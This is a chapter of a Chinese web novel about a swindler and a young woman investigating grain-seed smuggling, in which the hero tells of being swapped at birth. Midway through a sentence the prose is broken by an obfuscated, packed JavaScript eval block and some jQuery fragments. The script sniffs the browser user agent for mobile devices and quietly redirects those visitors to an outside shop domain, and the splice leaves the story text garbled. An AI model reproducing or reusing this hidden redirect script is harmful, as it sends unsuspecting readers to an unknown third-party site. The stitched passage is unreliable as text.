文趣网 > 都市小说 > 和江湖骗子的查案日常 > 23. 坦白
    景照又翻过一页游记,他面色未变。

    “阿雪好聪明。”他说。

    应拂雪不觉得自己很聪明,有关这些,景照也没有多想隐藏,她为数不多不敢确定的是,景家族谱上有名有姓之人几乎全都入朝为官了,但她却从未听过景照的名字。

    “这件事说来话长。”景照道,“让我想想,从哪开始说起呢?”

    他思索了会才继续道:“向来光明磊落的景家其实有个不曾外传的秘密,二十一年前景夫人生产时,被景家家主除掉的政敌因心生不满,从街头乞丐那买了个孩子。而后收买了接生婆,密谋了个话本里都写烂了的狸猫换子的戏码。”

    那确实是个不能外传的秘密了,应拂雪转身,坐在了景照对面。

    景照弯起桃花眼:“这么严肃做什么?”

    “关于你的秘密,我想我应该认真听。”应拂雪回答。

    “你就当这是桩坊间逸闻吧,都过去好些年了,很多细枝末节我自己都快不记得了。”看着应拂雪端正的坐姿,景照漂浮的灵魂被轻轻的托住,再开口时,嗓音里的干涩褪去许多。

    “但景家盘踞京城百年,自然是不需要一个粗鄙的,出身于乞丐之流的亲子,于是我的存在被抹去。”景照合上游记,当年那些审视的目光都模糊在了记忆里,时至今日,景家人已经没有资格再用那样的姿态对他了。

    应拂雪皱起眉:“可你明明是受害者。”

    宽慰的话在应拂雪话语中明了的怜惜之中被景照自己咽了回去,他发现,原来他喜欢应拂雪心疼他。

    “所谓的世家大族,门楣是否光耀,比个人的身家性命要重要得多。”景照道,“更何况,一个投入了太多赌注的,景家风光的嫡子不容有失。”

    景家指望着那只狸猫成为下一任家主,延续景家的荣耀。

    可或许是世事大多事与愿违,那个曾被景照当成假想敌的人,实则再平庸不过,不论是样貌还是才情。

    对方不愿承担景家上上下下几百号人的期许,却热衷于享受这份期许带来的特权。

    “那么大一个家,连个孩子都养不起了吗?”应拂雪不能理解。

    明明这事千错万错都和被换走的孩子没有半分关系,明明景照才是最该被补偿的人。

    应熹为了替应拂雪找到生身父母,十多年未曾把她的户籍挂到自己头上,没成想阴差阳错让应拂雪得以离开越城。

    应拂雪说不上来是生恩重还是养恩重,但应熹曾说过,养她不过是多一张嘴吃饭,没什么难的。

    彼时被和离,几箱嫁妆被夫家私吞的应熹都没有放弃过应拂雪,更何况一个孩子,对于景家来说,从手指缝里漏出去的一点都够他衣食无忧一辈子了。

    景照倾身,凑近了应拂雪些许。

    她虽觉得这般距离有些过于近了,但此时贸然躲开似乎会伤到景照,毕竟他把自己的伤疤如此坦诚地告诉了她。

    “阿雪,若是当年你捡到了我。”景照没有放过应拂雪神情一丝一毫的变化,试探着她最低的底线。

    “你会养我吗?”景照问。

    景照的眼形很好看,他收敛了笑,那双桃花眼微微下压,一颗小痣正正点在眼尾下方,显得格外无害。这般的皮相,在哪都是金尊玉贵的小公子。

    压根不需要应拂雪养,自然会有很多无子的世家大族愿意领回家去的。

    应拂雪有些走神。

    景照显然不满她在这个时候发呆,于是他起身,双手撑在小几两边,把应拂雪半环在了怀里,馥郁的熏香被景照的动作带着往应拂雪鼻间扑去。

    他们之间的距离不过一掌之数,景照完全可以看清应拂雪侧脸细细的绒毛。

    应拂雪被他突如其来的动作吓了一跳,往后仰了仰身子,鬓上的对钗发出清脆的碰撞声。

    “你离我这么近做什么?”应拂雪重新坐好,勉强适应了景照和她现下的距离。

    “你不愿意就算了,没必要晾着我。”景照控诉了句,重新坐了回去。

    应拂雪自认为自己只是想了想那种可能,并没有要拒绝景照的意思。

    于是她为自己辩解:“我没说不愿意。”

    方才景照和她的距离实在是太近了,应拂雪从前只有在收粮的时候才会和其他人离得很近,可景照这般年龄相仿的,此刻又不是她熟悉的场景,她总觉得心跳的频率超过了可控范围。

    以景照的目力,可以清晰的看见应拂雪的耳尖逐渐染上绯色。

    “阿雪果然人美心善。”

    他在那把烧起的火上面添了新的柴,这下应拂雪是真的不理他了。

    景照深知见好就收,他并未再过多解释自己为何不待在京城,而是跑到这鸟不拉屎的地方贩卖“假“文书”,毕竟他在京城的性子,还真不好面对应拂雪。

    景照转而聊起了应拂雪最擅长的正事:“阿雪关心那批走私的粮种,那阿雪想知道眼下大殷边境驻军和粮商们的情况吗?”

    应拂雪听到阿雪两个字就有些不想接话,但景照说的正是她所关心的。

    应拂雪只好扭回头,不说话,但作出洗耳恭听的模样。

    景照被她的别扭逗笑。

    “那批粮种丢失后,圣上把涉事的粮商都召到了京城,令大理寺统一审理。”

    应拂雪放在桌下的手蜷起,应熹也在其中。

    “圣上顾念着民心,特意派了胡大人盯着,不许用私刑屈打成招。”景照道。

    应拂雪知道那位胡大人,是皇帝身边有名的正直之臣,入朝为官多年来一直为国为民,在他手下翻了不少从前的冤假错案。

    如果景照所说为真,那她确实可以松口气。

    景照仔细观察着应拂雪的神色,明白那些粮商中有她在意的人,但鹰隼传信一来一回并没有那么快,更何况他们到了永宁城。

    先前景照传信向驻边的康王打听应拂雪的消息,等他们回了边城,应当就可以收到回信了。

    “你所说为真?”应拂雪问。

    漠北天高皇帝远的,很难接收到来自大殷京城的讯息,她只知道,身

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17602135|204842||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    为重要证人的应熹短时间内应该性命无虞,但其他跟随她母亲的粮商,这很难说。

    如果他们都没事那就太好了。

    “如有半句虚言。”景照想了想,“那就让我一辈子发不了财吧。”

    这个誓言还蛮可信的。

    应拂雪想了想又问:“那你认识沈知白沈大人吗?”

    对于应熹在越城能免受轮番的问讯,和她能来到漠北,沈知白在其中帮了很多的忙。

    一开始应拂雪还能打听到沈知白的消息,可后来官差们也是三缄其口,定时送给应拂雪的书信中,沈知白也只说他一切安好。

    再后来,便连一切安好的信也收不到了。

    她很早就认识沈知白了,对于应拂雪来说,沈知白是个很重要的家人,在走私案上对应家有恩。

    应拂雪是要还的。

    景照对这位沈大人有些印象,倒也不多,上次听到这个名字还是在景家老爷子的嘴里,他对着那狸猫说,沈家沈知白是个不错的学习对象。

    但景照认为此人虽端方正直,但锐气不足。于景家未来的家主来说,难以扶大厦之将倾,于沈知白自身来说,容易失去的比得到的多。

    在圣上面前的存在感也不咸不淡,阿雪这般关心他么?

    “阿雪打听他做什么?”景照问。

    应拂雪想了想回答道:“沈大人于我有恩,他眼下的处境恐怕不太好,我有些担心。”

    景照扯起唇角:“沈大人身为朝廷命官,若是被下狱那可是要昭告天下的,既没下狱,那便是性命无虞。以目前的情况,阿雪该担心的是自己。”

    那几粒粳米种既是线索,也是催命符。

    只有在幕后人反应过来之前查到真正指向性的线索,获取官家的帮助才是最为紧要的。

    至于那什么沈大人,就呆在京城做他的官去吧。

    “你说得也是。”应拂雪敛起思绪,“等这边的事情结束,回到边城安排下粮肆的情况,我们就去万事阁吧。”

    “阿雪好好休息。”景照道,“以闻人恕的性子,想必会在天光熹微之时打对方一个措手不及,这会的小打小闹不过是吸引视线的把戏,阿雪不用过多注意。”

    “万事小心为上,若想出门,来隔壁找我便是。”

    应拂雪点点头。

    ——

    如景照所说,天光尚未破晓之际,三个月内以高价出售粮食的农户名单被张贴在了城中央。

    在那之后附带着一份商户们签字画押的联名上书,有了官家的补助,名单上的商户愿以正常价格出售粮食与粮种。

    若有违背,一律查封,并勒令规定期限内上缴所得。

    至于名单上的农户,将会被一一带到闻人恕面前,无故抬价者上缴罚金,若事出有因,视其因判定是否要罚。

    名单上洋洋洒洒记了大几百人,刚一贴上就吸引了不少夜猫子。

    应拂雪睡得浅,听到喧闹声推开窗看了眼。

    她披衣下床,路过景照房门的时候停下步子。